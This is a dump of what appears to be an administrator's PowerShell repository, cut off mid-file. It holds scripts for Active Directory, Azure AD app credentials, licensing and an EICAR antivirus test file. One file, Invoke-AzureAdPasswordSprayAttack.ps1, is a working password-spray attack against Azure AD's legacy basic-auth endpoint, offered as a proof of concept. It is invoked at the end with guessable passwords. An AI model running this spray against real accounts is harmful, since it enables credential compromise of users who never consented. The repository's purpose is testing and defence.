├── AD ├── Groups │ └── Add-mUserToGroup.ps1 ├── SSPR │ └── Get-ADSSPRLogs.ps1 └── StaleDevices │ └── Move-StaleDevice.ps1 ├── AV └── new-eicar.ps1 ├── Applocker └── applocker.ps1 ├── AzureAD ├── AppRegistrations │ ├── Get-AzADAppCredentialInformation.ps1 │ └── code.txt ├── AzureADIncidentResponse.ps1 ├── ConditionalAccess │ └── readme.md ├── Invoke-AzureAdPasswordSprayAttack.ps1 ├── Licensing │ ├── getassigninfo.ps1 │ └── licensemagicreport.ps1 ├── MFA │ ├── MfaAuthMethodsAnalysisV1 │ │ ├── MfaAuthMethodsAnalysis.ps1 │ │ └── mfastats.ps1 │ ├── MfaAuthMethodsAnalysisV2 │ │ ├── Get-AzureADUserAuthMethodInventory.ps1 │ │ ├── authmethod01.png │ │ └── readme.md │ └── OldStuff │ │ ├── Add-mUserToGroup.ps1 │ │ ├── Get-AzMFADeploymentStats.ps1 │ │ ├── Get-AzMFAStatus.ps1 │ │ └── add-mfagroup.ps1 ├── Revoke │ └── revoke.ps1 └── Test-AzureADUserExistence.ps1 ├── CredentialGuard └── credentialguard.md ├── DKIM ├── DKIM.ps1 ├── Validate-DkimConfig.ps1 └── Validate-DkimConfig2.ps1 ├── DefenderforEndpoint ├── Cleanup │ └── defenderfiles.ps1 ├── DefenderASR │ ├── ASR_Analyzer_v2.2.ps1 │ ├── ASR_Rules_PoSh_GUI.exe │ ├── ASR_Rules_PoSh_GUI.ps1 │ ├── Get-DefenderEGEvents.ps1 │ └── README.MD ├── Download updates │ └── secupdate.ps1 ├── Eventlog │ └── events.ps1 ├── Exclude │ └── exchange.xml ├── Exclusions │ └── Validate-DefenderExclusoins.ps1 ├── Get-DefenderATPStatus.ps1 ├── KQL │ ├── New-KQPSModuleFunctions.ps1 │ └── kql_internals_2020.pdf ├── Onboarding │ ├── CI Scripts │ │ ├── CI_DefenderOnboarding_Discovery.ps1 │ │ └── CI_DefenderOnboarding_Remediation.ps1 │ ├── Convert-MDEOnboardingBase64.ps1 │ ├── New-CMCIDefenderOnboarding_Discovery.ps1 │ ├── New-CMCIDefenderOnboarding_Remediation.ps1 │ └── readme.md ├── OnboardingServers │ └── Install-MMAAgent.ps1 ├── ReverseTCPAttack.md └── USB │ └── scanusb.ps1 ├── EXO ├── Delayed_mail_delivery_time.ps1 ├── connect_exchange.ps1 ├── connect_exchange_mfa.ps1 ├── enable_global_audit_logging.ps1 ├── mbx_fwd_rules.ps1 └── traceit2.ps1 ├── EndpointConfigurationManager └── ExportAntimalwareExclusions │ ├── doit.ps1 │ ├── export-CMExclusions.ps1 │ └── export-cmdefenderpolicy.ps1 ├── GPO └── Get-GPOLink.ps1 ├── Ignite └── 2019 │ ├── Get-EventSession.ps1 │ ├── ffmpeg.exe │ ├── findstuff.ps1 │ └── youtube-dl.exe ├── LAPS ├── Get-LAPSLoggingMode.ps1 └── Set-LAPSLoggingMode.ps1 ├── LICENSE ├── M365Roadmap └── Get-Office365Roadmap.ps1 ├── MCAS ├── Connect-PSMCAS.ps1 ├── MCAS Samples.md └── MCAS-Powershell Samples.ps1 ├── Notes └── Notes.md ├── PrintSpooler └── MEMCMBaseLine │ ├── CI Scripts │ ├── CI_PrintSpoolerService_Discovery.ps1 │ └── CI_PrintSpoolerService_Remediation.ps1 │ ├── New-CMCIPrintSpoolerService.ps1 │ └── readme.md ├── README.md ├── Windows ├── Set-NetBiosDisabled.ps1 └── Set-NetBiosEnabled.ps1 └── WindowsFirewall └── Get-WFPEvents.ps1 /AD/Groups/Add-mUserToGroup.ps1: -------------------------------------------------------------------------------- 1 |  2 | function Add-mUserToGroup 3 | { 4 | <# 5 | .Synopsis 6 | Add-mUserToGroup 7 | .DESCRIPTION 8 | Add-mUserToGroup adds one or more Active Directory users from an input file to the specified 9 | Active Directory group. 10 | 11 | .PARAMETER InputFile 12 | A txt input file that contains a list of users in the format of the users UserPrincipalName 13 | 14 | john.monroe@company.com 15 | jane.keen@company.com 16 | tom.wayne@company.com 17 | 18 | .PARAMETER UserPrincipalName 19 | The UserPrincipalName of the user to add to the group. User this cmdlet to add a single user to a group 20 | without using an input file 21 | 22 | .PARAMETER Group 23 | The Active Directory Group to add users 24 | 25 | .EXAMPLE 26 | Add-mUserToGroup -InputFile c:\data\userlist.txt -Group MTG_MFA_ROLLOUT_TEST 27 | 28 | The above command reads the userprincipalnames from the userlist.txt and adds 29 | each user into the Active Directory group MTG_MFA_ROLLOUT_TEST 30 | 31 | .EXAMPLE 32 | Add-mUserToGroup -UserPrincipalName jane@verboon.org -Group MTG_MFA_ROLLOUT_TEST 33 | 34 | The above command adds jane to the specified group 35 | 36 | .EXAMPLE 37 | Add-mUserToGroup -InputFile c:\data\userlist.txt -Group MTG_MFA_ROLLOUT_TEST -whatif 38 | 39 | The above command only shows the users that would be added, but does not perform the 40 | actual task of adding users to the specified group. 41 | 42 | .NOTES 43 | v1.0, 01.04.2020, Alex Verboon 44 | #> 45 | [CmdletBinding(DefaultParameterSetName='Parameter Set 1', 46 | SupportsShouldProcess=$true, 47 | ConfirmImpact='Medium')] 48 | Param 49 | ( 50 | # Input file with list of users (UserPrincipalName) 51 | [Parameter(Mandatory=$true, 52 | Position=0, 53 | ParameterSetName='InputFile')] 54 | [ValidateNotNullOrEmpty()] 55 | [string]$InputFile, 56 | 57 | # Active Directory User 58 | [Parameter(Mandatory=$true, 59 | Position=0, 60 | ParameterSetName='User')] 61 | [ValidateNotNullOrEmpty()] 62 | [string]$UserPrincipalName, 63 | 64 | # Active Directory Group 65 | [Parameter(Mandatory=$true, 66 | Position=1)] 67 | [ValidateNotNullOrEmpty()] 68 | [string]$Group 69 | ) 70 | 71 | Begin 72 | { 73 | $UserList = $null 74 | 75 | 76 | 77 | 78 | # Check if input file is valid 79 | If($InputFile) 80 | { 81 | If (Test-Path -Path $InputFile -PathType Leaf) 82 | { 83 | $UserList = Get-Content -Path $InputFile 84 | Write-Verbose "InputFile: $InputFile" 85 | } 86 | Else 87 | { 88 | Write-Error "Specified file $InputFile does not exist" 89 | Break 90 | } 91 | } 92 | ElseIf($UserPrincipalName) 93 | { 94 | 95 | Write-Verbose "Check if user exists" 96 | $ADUser = @(Get-ADUser -Filter "UserPrincipalName -eq '$UserPrincipalName'" -Properties * -ErrorAction Stop) 97 | If ([string]::IsNullOrEmpty($ADUser)) 98 | { 99 | Write-Error "User: $UserPrincipalName does not exist" 100 | } 101 | Else 102 | { 103 | $UserList = @($UserPrincipalName) 104 | Write-Verbose "AD User: $UserPrincipalName" 105 | } 106 | } 107 | 108 | 109 | 110 | 111 | 112 | 113 | If ($Group) 114 | { 115 | Try{ 116 | $ADGroup = Get-ADGroup -Identity "$Group" -ErrorAction stop 117 | Write-Verbose "AD Group: $Group" 118 | } 119 | Catch{ 120 | Write-Error "Group $Group does not exist" 121 | Break 122 | } 123 | } 124 | } 125 | Process 126 | { 127 | ForEach ($user in $UserList) 128 | { 129 | Write-Verbose "Processing user $user" 130 | if ($pscmdlet.ShouldProcess("$User", "Adding user to group $Group")) 131 | { 132 | $UserToAdd = Get-ADUser -Filter "UserPrincipalName -eq '$user'" 133 | If([string]::IsNullOrEmpty($UserToAdd)) 134 | { 135 | Write-Warning "User $user not found" 136 | } 137 | Else 138 | { 139 | Add-ADGroupMember -Identity $ADGroup -Members $UserToAdd 140 | } 141 | } 142 | } 143 | } 144 | End 145 | { 146 | 147 | } 148 | } 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | -------------------------------------------------------------------------------- /AD/SSPR/Get-ADSSPRLogs.ps1: -------------------------------------------------------------------------------- 1 |  2 | function Get-ADSSPRLogs 3 | { 4 | <# 5 | .Synopsis 6 | Get-ADSSPRLogs 7 | .DESCRIPTION 8 | Get-ADSSPRLogs retrieves the Azure AD Self Service Password Reset event logs 9 | from the domain controller. 10 | .PARAMETER Computername 11 | Gets events from the event logs on the specified computer. By default, it will 12 | run against the local computer. 13 | 14 | .PARAMETER MaxEvents 15 | Specifies the maximum number of events that Get-ADSSPRLogs returns. Enter an 16 | integer. The default is to return all the events in the logs. 17 | 18 | .PARAMETER Reference 19 | The reference parameter can be used to search for events that have a particular 20 | TrackingID or username referenced within the Event message. 21 | 22 | .EXAMPLE 23 | Get-ADSSPRLogs -Computername S2DC1 24 | 25 | Lists all PasswordResetService events from the specified computer 26 | 27 | .EXAMPLE 28 | Get-ADSSPRLogs -Computername S2DC1 -MaxEvents 10 29 | 30 | Only lists the last 10 PasswordResetService events from the specified computer 31 | 32 | .EXAMPLE 33 | Get-ADSSPRLogs -Computername S2DC1 -Reference "49545e06-10d9-4596-bc51-99cbdc4a61e6" 34 | 35 | Lists all events with the specified TackingID. The TrackingID is the same as the 36 | CorrelationId that is shown in the Azure Audit log. 37 | 38 | .EXAMPLE 39 | Get-ADSSPRLogs -Computername S2DC1 -Reference "someone@company.com" 40 | 41 | Lists all events related to the referenced UserPrincipalName 42 | #> 43 | 44 | [CmdletBinding()] 45 | Param 46 | ( 47 | # The computername of the domain controller 48 | [Parameter(ValueFromPipeline)] 49 | [string]$ComputerName = $env:ComputerName, 50 | [Parameter(ValueFromPipeline)] 51 | [int]$MaxEvents, 52 | [Parameter(ValueFromPipeline)] 53 | [string]$Reference 54 | ) 55 | 56 | Begin 57 | { 58 | # Self Service Password Log 59 | $SSPRLog = @{ 60 | LogName = "Application" 61 | ProviderName = "PasswordResetService" 62 | } 63 | } 64 | Process 65 | { 66 | Try{ 67 | If ($MaxEvents) 68 | { 69 | $ADSSPREvents = Get-WinEvent -ComputerName $ComputerName -FilterHashtable $SSPRLog -MaxEvents $MaxEvents 70 | } 71 | Else 72 | { 73 | $ADSSPREvents = Get-WinEvent -ComputerName $ComputerName -FilterHashtable $SSPRLog 74 | } 75 | } 76 | Catch{ 77 | ## Write a warning to the console with the message thrown 78 | Write-Warning $_.Exception.Message 79 | } 80 | } 81 | End 82 | { 83 | If ($Reference) 84 | { 85 | Write-Verbose "Displaying all events that contain $Reference" 86 | $ADSSPREvents | Where-Object {$_.Message -like "*$Reference*"} 87 | } 88 | Else 89 | { 90 | $ADSSPREvents 91 | } 92 | } 93 | } 94 | 95 | 96 | -------------------------------------------------------------------------------- /AD/StaleDevices/Move-StaleDevice.ps1: -------------------------------------------------------------------------------- 1 |  2 | function Move-StaleDevice 3 | <# 4 | .Synopsis 5 | Move-StaleDevice 6 | .DESCRIPTION 7 | Move-StaleDevice moves the specified computer to the specified OU 8 | 9 | Use the Search-AD object to identify inactive devices 10 | Search-ADAccount -AccountInactive –ComputersOnly -TimeSpan 90 11 | 12 | .PARAMETER ComputerDistinguishedName 13 | The DistinguishedName of the computer object to be moved 14 | 15 | CN=Server2016-01,OU=Datacenter,DC=corp,DC=net 16 | 17 | .PARAMETER TargetOU 18 | The DistinguishedName name of the organizational unit in active directory where the computer object is moved to. 19 | 20 | OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net 21 | 22 | .EXAMPLE 23 | 24 | Move-StaleDevice -ComputerDistinguishedName "CN=Server2016-01,OU=Datacenter,DC=corp,DC=net" -TargetOU "OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net" 25 | 26 | This command moves the computer server2016-01 located in the OU Datacenter to the OU OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net" 27 | 28 | .EXAMPLE 29 | 30 | $StaleDevices = @(Search-ADAccount -AccountInactive –ComputersOnly -TimeSpan 90).DistinguishedName 31 | $output = ForEach($computer in $StaleDevices) 32 | { 33 | Move-StaleDevice -ComputerDistinguishedName "$computer" -TargetOU "OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net" 34 | } 35 | $output 36 | 37 | 38 | ComputerName TargetOU MoveStatus 39 | ------------ -------- ---------- 40 | CN=Server2016-01,OU=Datacenter,DC=corp,DC=net OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net Sucess 41 | CN=Server2016-02,OU=Datacenter,DC=corp,DC=net OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net Sucess 42 | CN=Server2019-01,OU=Datacenter,DC=corp,DC=net OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net Sucess 43 | 44 | The above command provides an example of moviing several computer objects. 45 | 46 | .NOTES 47 | version 1.0, 20.10.2020, Alex Verboon 48 | .COMPONENT 49 | .ROLE 50 | .FUNCTIONALITY 51 | #> 52 | 53 | { 54 | [CmdletBinding(SupportsShouldProcess=$true, 55 | ConfirmImpact='Medium')] 56 | Param 57 | ( 58 | # Computer DistinguishedName 59 | [Parameter(Mandatory=$true)] 60 | [ValidateNotNull()] 61 | [ValidateNotNullOrEmpty()] 62 | $ComputerDistinguishedName, 63 | # Target OU where the device is moved to 64 | [Parameter(Mandatory=$false)] 65 | #[ValidateNotNull()] 66 | #[ValidateNotNullOrEmpty()] 67 | $TargetOU="OU=ServerDevices,OU=StaleDevices,DC=corp,DC=net" 68 | ) 69 | 70 | Begin 71 | { 72 | Try { 73 | Import-Module ActiveDirectory -ErrorAction Stop -Verbose:$false 74 | } catch { 75 | Write-Error "Active Directory module failed to Import. Terminating the script. More details : $_" 76 | exit(1) 77 | } 78 | 79 | # Check if Active Directory Organizational Unit where the object is moved to exists 80 | If(!(Get-ADOrganizationalUnit -Filter "DistinguishedName -eq '$TargetOU'")) { 81 | Write-Error "Organizational Unit $TargetOU does not exist." 82 | Break 83 | } 84 | } 85 | Process 86 | { 87 | $Result = [System.Collections.ArrayList]::new() 88 | $movecount = 0 89 | if ($pscmdlet.ShouldProcess("$ComputerDistinguishedName", "Move object to $TargetOU")) 90 | { 91 | Try{ 92 | Move-ADObject -Identity "$ComputerDistinguishedName" -TargetPath $TargetOU -Verbose 93 | $movecount++ 94 | $MoveStatus="Sucess" 95 | } 96 | # Specified Computer object not found 97 | Catch [Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException] 98 | { 99 | $ErrorMessage = $Error[0] #.Exception.GetType().FullName 100 | Write-Error "Device $ComputerDistinguishedName not found: $ErrorMessage" 101 | $MoveStatus="Failed" 102 | } 103 | # Any other AD exception 104 | Catch [Microsoft.ActiveDirectory.Management.ADException] 105 | { 106 | $ErrorMessage = $Error[0] #.Exception.GetType() #.FullName 107 | write-Error $ErrorMessage 108 | $MoveStatus="Failed" 109 | } 110 | Catch{ 111 | $ErrorMessage = $Error[0] #.Exception.GetType().FullName 112 | Write-Error "There was an error: $ErrorMessage" 113 | $MoveStatus="Failed" 114 | } 115 | 116 | $object = [PSCustomObject]@{ 117 | ComputerName = $ComputerDistinguishedName 118 | TargetOU = $TargetOU 119 | MoveStatus = $MoveStatus 120 | } 121 | [void]$Result.Add($object) 122 | } 123 | $Result 124 | } 125 | End 126 | { 127 | } 128 | } 129 | 130 | 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /AV/new-eicar.ps1: -------------------------------------------------------------------------------- 1 | function New-Eicar { 2 | <# 3 | .SYNOPSIS 4 | 5 | New-Eicar 6 | 7 | Author: Chris Campbell (@obscuresec) 8 | License: BSD 3-Clause 9 | 10 | .DESCRIPTION 11 | 12 | A function that generates the EICAR string to test ondemand scanning of antivirus products. 13 | 14 | .PARAMETER $Path 15 | 16 | Specifies the path to write the eicar file to. 17 | 18 | .EXAMPLE 19 | 20 | PS C:\> New-Eicar -Path c:\test 21 | 22 | .NOTES 23 | 24 | During testing, several AV products caused the script to hang, but it always completed after a few minutes. 25 | 26 | .LINK 27 | 28 | http://obscuresec.com/2013/01/New-Eicar.html 29 | https://github.com/obscuresec/random/blob/master/New-Eicar 30 | 31 | #> 32 | [CmdletBinding()] Param( 33 | [ValidateScript({Test-Path $_ -PathType 'Container'})] 34 | [string] 35 | $Path = "$env:temp\" 36 | ) 37 | [string] $FilePath = (Join-Path $Path eicar.com) 38 | #Base64 of Eicar string 39 | [string] $EncodedEicar = 'WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=' 40 | 41 | If (!(Test-Path -Path $FilePath)) { 42 | 43 | Try { 44 | [byte[]] $EicarBytes = [System.Convert]::FromBase64String($EncodedEicar) 45 | [string] $Eicar = [System.Text.Encoding]::UTF8.GetString($EicarBytes) 46 | Set-Content -Value $Eicar -Encoding ascii -Path $FilePath -Force 47 | } 48 | 49 | Catch { 50 | Write-Warning "Eicar.com file couldn't be created. Either permissions or AV prevented file creation." 51 | } 52 | } 53 | 54 | Else { 55 | Write-Warning "Eicar.com already exists!" 56 | } 57 | 58 | } -------------------------------------------------------------------------------- /Applocker/applocker.ps1: -------------------------------------------------------------------------------- 1 | # Retrieve the Applocker Policy Settings 2 | $AppLockerGPOName = "Workplace-P-AppLocker-CMP" 3 | $AppLockerGPOSettings = Get-GPO -Name "$AppLockerGPOName" | Select-Object * 4 | $AppLockerPolicy = Get-AppLockerPolicy -Domain -Ldatp "LDAP:// $($$AppLockerGPOSettings.Path)" 5 | 6 | #Executable to test 7 | $TestFile = "C:\Temp\Testme.exe" 8 | # Test Impact 9 | Test-AppLockerPolicy -PolicyObject $AppLockerPolicy -Path $TestFile -User corp.net\tina 10 | -------------------------------------------------------------------------------- /AzureAD/AppRegistrations/Get-AzADAppCredentialInformation.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Get-AzADAppCredentialInformation 4 | .DESCRIPTION 5 | Get-AzADAppCredentialInformation 6 | .PARAMETER AppCredentialsExpiringThreshold 7 | The number of days until an App Registration credential expires 8 | .PARAMETER Detail 9 | Shows detailed start and end dates of registered credentials 10 | 11 | .EXAMPLE 12 | Get-AzADAppCredentialInformation 13 | 14 | .EXAMPLE 15 | Get-AzADAppCredentialInformation -Details 16 | #> 17 | [CmdletBinding()] 18 | Param 19 | ( 20 | # Number of days until the App Registration credential expires 21 | [Parameter(Mandatory=$false)] 22 | $AppCredentialsExpiringThreshold, 23 | # show detiled credential start end dates 24 | [switch]$Detail 25 | ) 26 | Begin 27 | { 28 | # Azure AD connect 29 | if (-not (Get-AzContext)){ 30 | write-error "No subscription found in the context. Please ensure that the credentials you provided are authorized to access an Azure subscription, then run Connect-AzAccount to login." 31 | Break 32 | } 33 | 34 | # Set the AppCredentialsExpiringThreshold to 360 if nothing is specified 35 | If ($AppCredentialsExpiringThreshold -eq $null){ 36 | [int]$AppCredentialsExpiringThreshold = 360 37 | } 38 | Write-Verbose "AppCredentialsExpiringThreshold: $AppCredentialsExpiringThreshold" 39 | } 40 | Process 41 | { 42 | $Result = [System.Collections.ArrayList]::new() 43 | $CredResult = [System.Collections.ArrayList]::new() 44 | Write-Output "Retrieving App Registrations..." 45 | $AppRegs = Get-AzADApplication 46 | ForEach($app in $AppRegs){ 47 | Write-Verbose "Retrieving credential information: $($app.DisplayName)" 48 | $AppCredentials = @(Get-AzADAppCredential -ObjectID "$($App.Objectid)") 49 | $AppCredentialsExpiredCount=0 50 | $AppCredentialsExpiring=0 51 | $credState=$null 52 | ForEach($cred in $AppCredentials){ 53 | $expdays = (New-TimeSpan -Start (Get-Date).ToUniversalTime() -End $cred.EndDate).Days 54 | Write-Verbose "Expiring Days: $expdays" 55 | If($expdays -lt 0){ 56 | $AppCredentialsExpiredCount++ 57 | $credState = "Expired" 58 | } 59 | ElseIf($expdays -lt $AppCredentialsExpiringThreshold){ 60 | $AppCredentialsExpiring++ 61 | $credState = "Expiring" 62 | } 63 | Else{ 64 | $credState = "OK" 65 | } 66 | $credObject = [PSCustomObject]@{ 67 | DisplayName = $app.DisplayName 68 | StartDate = $cred.StartDate 69 | EndDate = $cred.EndDate 70 | KeyId = $cred.KeyId 71 | Type = $cred.Type 72 | State = $credState 73 | } 74 | [void]$CredResult.Add($credObject) 75 | } 76 | $object = [PSCustomObject]@{ 77 | DisplayName = $app.DisplayName 78 | ObjectId = $app.Objectid 79 | ApplicationId = $app.ApplicationId 80 | AvailableToOtherTenants = $app.AvailableToOtherTenants 81 | AppCredentials = $AppCredentials 82 | AppCredentialsCount = $AppCredentials.Count 83 | AppCredentialsExpiredCount = $AppCredentialsExpiredCount 84 | AppCredentilsExpiring = $AppCredentialsExpiring 85 | } 86 | [void]$Result.Add($object) 87 | } 88 | If ($PSBoundParameters.Keys.Contains('Detail')) 89 | { 90 | $CredResult 91 | } 92 | Else 93 | { 94 | $Result 95 | } 96 | } 97 | End 98 | {} 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /AzureAD/AppRegistrations/code.txt: -------------------------------------------------------------------------------- 1 | [int]$AppCredentialsExpiringThreshold = 360 2 | $Result = [System.Collections.ArrayList]::new() 3 | $AppRegs = Get-AzADApplication 4 | ForEach($app in $AppRegs){ 5 | $AppCredentials = @(Get-AzADAppCredential -ObjectID "$($App.Objectid)") 6 | $AppCredentialsExpiredCount=0 7 | $AppCredentialsExpiring=0 8 | ForEach($cred in $AppCredentials){ 9 | $expdays = (New-TimeSpan -Start (Get-Date) -End $cred.EndDate).Days 10 | If($expdays -lt 0){ 11 | $AppCredentialsExpiredCount++ 12 | } 13 | ElseIf($expdays -lt $AppCredentialsExpiringThreshold){ 14 | $AppCredentialsExpiring++ 15 | } 16 | } 17 | $object = [PSCustomObject]@{ 18 | DisplayName = $app.DisplayName 19 | ObjectId = $app.Objectid 20 | ApplicationId = $app.ApplicationId 21 | AvailableToOtherTenants = $app.AvailableToOtherTenants 22 | AppPermissions = $app.AppPermissions 23 | ReplyUrls = $app.ReplyUrls 24 | ObjectType = $app.ObjectType 25 | IdentifierUris = $app.IdentifierUris 26 | HomePage = $app.HomePage 27 | AppCredentials = $AppCredentials 28 | AppCredentialsCount = $AppCredentials.Count 29 | AppCredentialsExpiredCount = $AppCredentialsExpiredCount 30 | AppCredentilsExpiring = $AppCredentialsExpiring 31 | } 32 | [void]$Result.Add($object) 33 | } -------------------------------------------------------------------------------- /AzureAD/AzureADIncidentResponse.ps1: -------------------------------------------------------------------------------- 1 | ## https://www.powershellgallery.com/packages/AzureADIncidentResponse/4.0 2 | ## Install AzureADIncident Response Module from MS DART Team 3 | 4 | 5 | Install-Module -Name AzureADIncidentResponse -Scope CurrentUser 6 | Get-Command -Module AzureADIncidentResponse 7 | 8 | $domainname = "verboon.online" 9 | $TenantID = (Get-AzureADIRTenantId -DomainName $domainname) 10 | 11 | Connect-AzureADIR -TenantId $TenantID 12 | Get-AzureADIRConditionalAccessPolicy -All -TenantId $TenantID 13 | Get-AzureADIRMfaAuthMethodAnalysis -TenantId $TenantID 14 | Get-AzureADIRUserLastSignInActivity -TenantId $TenantID -StaleThreshold 90 15 | Get-AzureADIRPermission -TenantId $TenantID 16 | -------------------------------------------------------------------------------- /AzureAD/ConditionalAccess/readme.md: -------------------------------------------------------------------------------- 1 | # Conditional Access Documentation 2 | 3 | [Conditinal Access Documentation](https://github.com/nicolonsky/ConditionalAccessDocumentation) -------------------------------------------------------------------------------- /AzureAD/Invoke-AzureAdPasswordSprayAttack.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-AzureAdPasswordSprayAttack { 2 | <# 3 | .SYNOPSIS 4 | Perform a password spray attack against Azure AD. 5 | 6 | .DESCRIPTION 7 | The script will perform a password spray attack against Azure AD (using the legacy Office 365 reporting API is used with basic authentication). This script will not work if legacy authentication in Azure AD is blocked. Use Conditional Access to protect your organisation. 8 | 9 | Specify a list of usernames (email addresses) to attack with the -UserName parameter. Specify passwords to try with the -Password parameter. If you try more than four passwords, users may be blocked by Smart Lockout in Azure AD. 10 | 11 | .PARAMETER UserNames 12 | An array of one or more usernames to attack. 13 | 14 | .PARAMETER Passwords 15 | An array of one or more passwords to try. Don't lock users out! 16 | 17 | .EXAMPLE 18 | $UserNames = "user1@example.com", 19 | "user2@example.com", 20 | "user3@example.com", 21 | "user4@example.com" 22 | 23 | $Passwords = "Sommar2019", "Sommar2020", "Sommar2019!", "Sommar2020!" 24 | 25 | Invoke-AzureAdPasswordSprayAttack -UserNames $UserNames -Passwords $Passwords 26 | 27 | .NOTES 28 | Version: 1.0 29 | Author: Daniel Chronlund 30 | Creation Date: 2020-03-16 31 | 32 | Warning: This script is a proof of concept and for testing purposes only. Do not use this script in an unethical or unlawful way. 33 | #> 34 | 35 | param ($UserNames, $Passwords) 36 | 37 | Write-Verbose -Verbose -Message "Starting password spray attack ($($UserNames.Count) users)..." 38 | 39 | # Set progress counter. 40 | $i = 0 41 | 42 | Write-Progress -Activity "Running password spray attack" -Status "0% complete:" -PercentComplete 0; 43 | 44 | foreach ($UserName in $UserNames) { 45 | # Try every password. 46 | foreach ($Password in $Passwords) { 47 | # Convert password to secure string. 48 | $SecureString = $Password | ConvertTo-SecureString -AsPlainText -Force 49 | 50 | # Create PSCredential object from username and password. 51 | $Cred = New-Object System.Management.Automation.PSCredential($UserName, $SecureString) 52 | 53 | # Try to connect to Office 365 reporting API with basic authentication. 54 | try { 55 | Invoke-WebRequest -Uri "https://reports.office365.com/ecp/reportingwebservice/reporting.svc" -Credential $Cred | Out-Null 56 | 57 | # Create custom object. 58 | $UserObject = New-Object -TypeName psobject 59 | $UserObject | Add-Member -MemberType NoteProperty -Name "UserName" -Value $UserName 60 | $UserObject | Add-Member -MemberType NoteProperty -Name "Password" -Value $Password 61 | 62 | $UserObject 63 | } catch { 64 | # Do nothing. 65 | } 66 | } 67 | 68 | # Add to counter. 69 | $i++ 70 | 71 | # Write progress. 72 | Write-Progress -Activity "Running password spray attack" -Status "$([math]::Round($i / $UserNames.Count * 100))% complete:" -PercentComplete ([math]::Round($i / $UserNames.Count * 100)); 73 | } 74 | } 75 | 76 | $UserNames = "sam@verboon.online" 77 | 78 | ## $passwords = Get-Content -Path "C:\Tools\ruler\passwords.txt" 79 | 80 | $Passwords = "Sommar2019", "Sommar2020", "Sommar2019!", "Sommar2020!","abc","123","password123" 81 | 82 | Invoke-AzureAdPasswordSprayAttack -UserNames $UserNames -Passwords $Passwords -------------------------------------------------------------------------------- /AzureAD/Licensing/getassigninfo.ps1: -------------------------------------------------------------------------------- 1 | #Returns TRUE if the user has the license assigned directly 2 | function UserHasLicenseAssignedDirectly 3 | { 4 | Param([Microsoft.Online.Administration.User]$user, [string]$skuId) 5 | foreach($license in $user.Licenses) 6 | { 7 | #we look for the specific license SKU in all licenses assigned to the user 8 | if ($license.AccountSkuId -ieq $skuId) 9 | { 10 | #GroupsAssigningLicense contains a collection of IDs of objects assigning the license 11 | #This could be a group object or a user object (contrary to what the name suggests) 12 | #If the collection is empty, this means the license is assigned directly. This is the case for users who have never been licensed via groups in the past 13 | if ($license.GroupsAssigningLicense.Count -eq 0) 14 | { 15 | return $true 16 | } 17 | #If the collection contains the ID of the user object, this means the license is assigned directly 18 | #Note: the license may also be assigned through one or more groups in addition to being assigned directly 19 | foreach ($assignmentSource in $license.GroupsAssigningLicense) 20 | { 21 | if ($assignmentSource -ieq $user.ObjectId) 22 | { 23 | return $true 24 | } 25 | } 26 | return $false 27 | } 28 | } 29 | return $false 30 | } 31 | #Returns TRUE if the user is inheriting the license from a group 32 | function UserHasLicenseAssignedFromGroup 33 | { 34 | Param([Microsoft.Online.Administration.User]$user, [string]$skuId) 35 | foreach($license in $user.Licenses) 36 | { 37 | #we look for the specific license SKU in all licenses assigned to the user 38 | if ($license.AccountSkuId -ieq $skuId) 39 | { 40 | #GroupsAssigningLicense contains a collection of IDs of objects assigning the license 41 | #This could be a group object or a user object (contrary to what the name suggests) 42 | foreach ($assignmentSource in $license.GroupsAssigningLicense) 43 | { 44 | #If the collection contains at least one ID not matching the user ID this means that the license is inherited from a group. 45 | #Note: the license may also be assigned directly in addition to being inherited 46 | if ($assignmentSource -ine $user.ObjectId) 47 | 48 | { 49 | return $true 50 | } 51 | } 52 | return $false 53 | } 54 | } 55 | return $false 56 | } 57 | 58 | 59 | #the license SKU we are interested in 60 | $skuId = "swissre:AAD_PREMIUM_P2" 61 | #find all users that have the SKU license assigned 62 | Get-MsolUser -All | where {$_.isLicensed -eq $true -and $_.Licenses.AccountSKUID -eq $skuId} | select ` 63 | ObjectId, ` 64 | @{Name="SkuId";Expression={$skuId}}, ` 65 | @{Name="AssignedDirectly";Expression={(UserHasLicenseAssignedDirectly $_ $skuId)}}, ` 66 | @{Name="AssignedFromGroup";Expression={(UserHasLicenseAssignedFromGroup $_ $skuId)}} 67 | -------------------------------------------------------------------------------- /AzureAD/Licensing/licensemagicreport.ps1: -------------------------------------------------------------------------------- 1 |  2 | 3 | # The command defines the SKUs we're interested in 4 | $SkuScope = Get-AzureADSubscribedSku | Select Sku*, ConsumedUnits ,prepaidunits # | where {$_.SkuPartNumber -eq 'EMSPREMIUM' -or $_.SkuPartNumber -eq 'THREAT_INTELLIGENCE' -or $_.SkuPartNumber -eq 'EMS' -or $_.SkuPartNumber -eq 'IDENTITY_THREAT_PROTECTION' -or $_.SkuPartNumber -eq 'WIN_DEF_ATP' -or $_.SkuPartNumber -eq 'ENTERPRISEPACK' -or $_.SkuPartNumber -eq 'STANDARDPACK' } 5 | 6 | 7 | # This data is used to decode the SKUSumValue 8 | $sku_lookup1 = @{ 9 | 1="EMSPREMIUM" 10 | 2="ENTERPRISEPACK" 11 | 4="EMS" 12 | 8="IDENTITY_THREAT_PROTECTION" 13 | 16="WIN_DEF_ATP" 14 | 32="STANDARDPACK" 15 | } 16 | 17 | #$value = 4 18 | #$decoded = $sku_lookup1.Keys | foreach {$sku_lookup1.item(($_ ) -band $value)} 19 | #$decoded 20 | 21 | 22 | 23 | # This data is used to define the band value for each SKU 24 | $sku_band_value = @{ 25 | "WIN_DEF_ATP" = "1" 26 | "EMS" = "2" 27 | "EMSPREMIUM" = "4" 28 | "STANDARDPACK" = "8" 29 | 